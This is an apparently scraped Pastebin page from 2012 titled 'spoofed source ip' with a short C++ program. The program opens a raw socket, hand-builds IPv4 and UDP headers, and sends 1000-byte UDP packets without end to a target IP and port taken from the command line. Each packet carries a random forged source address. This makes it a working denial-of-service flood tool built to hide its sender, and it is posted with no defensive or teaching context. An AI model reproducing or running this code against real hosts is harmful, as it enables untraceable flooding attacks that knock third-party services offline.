Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

spoofed source ip

By: a guest on Sep 10th, 2012  |  syntax: C++  |  size: 1.59 KB  |  views: 101  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3. #include <netinet/in.h>
  4. #include <netinet/ip.h>
  5. #include <netinet/udp.h>
  6. #include <stdio.h>
  7. #include <cstdlib>
  8. #include <time.h>
  9. #include <string.h>
  10.  
  11. int main(int argc, char *argv[])
  12. {
  13.   // Args.
  14.   if(argc != 3) { printf("Usage: $s [ip] [port]\n", argv[0]); exit(1); }
  15.   char* ipaddr = argv[1];
  16.   int port = atoi(argv[2]);
  17.  
  18.   // Sockaddr.
  19.   struct sockaddr_in addr;
  20.   addr.sin_family = AF_INET;
  21.   addr.sin_port = htons(port);
  22.   addr.sin_addr.s_addr = inet_addr(ipaddr);
  23.   int salen = sizeof(struct sockaddr_in);
  24.  
  25.   // Buffer.
  26.   char buf[1500];
  27.  
  28.   // Rand.
  29.   srand(time(0));
  30.  
  31.   // Socket.
  32.   int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  33.   if(sock <= 0) { printf("Unable to create raw socket.\n"); exit(1); }
  34.    
  35.   // IP struct.
  36.   struct ip *iph = (struct ip*)buf;
  37.   iph->ip_hl = 5;
  38.   iph->ip_v = 4;
  39.   iph->ip_len = 0x0000;
  40.   iph->ip_tos = 0;
  41.   iph->ip_id = htonl(0xffff);
  42.   iph->ip_ttl = 255;
  43.   iph->ip_off = 0;
  44.   iph->ip_p = 0x11;
  45.   iph->ip_sum = 0;
  46.   iph->ip_src.s_addr = 0;
  47.   iph->ip_dst.s_addr = inet_addr(ipaddr);
  48.        
  49.   // UDP struct.
  50.   struct udphdr *udp = (struct udphdr*)(buf + sizeof(struct ip));
  51.   udp->source = htons(1337);
  52.   udp->dest = htons(port);
  53.   udp->len = htons(8 + 1000);
  54.   udp->check = 0;
  55.  
  56.   // Data.
  57.   memset(buf+sizeof(struct ip)+sizeof(struct udphdr), 0xff, 1000);
  58.   int len = sizeof(struct ip) + sizeof(struct udphdr) + 1000;
  59.    
  60.   for(;;)
  61.   {  
  62.     iph->ip_src.s_addr = rand();
  63.     sendto(sock, buf, len , 0, (struct sockaddr *)&addr, salen);
  64.   }
  65.  
  66.   return 0;
  67. }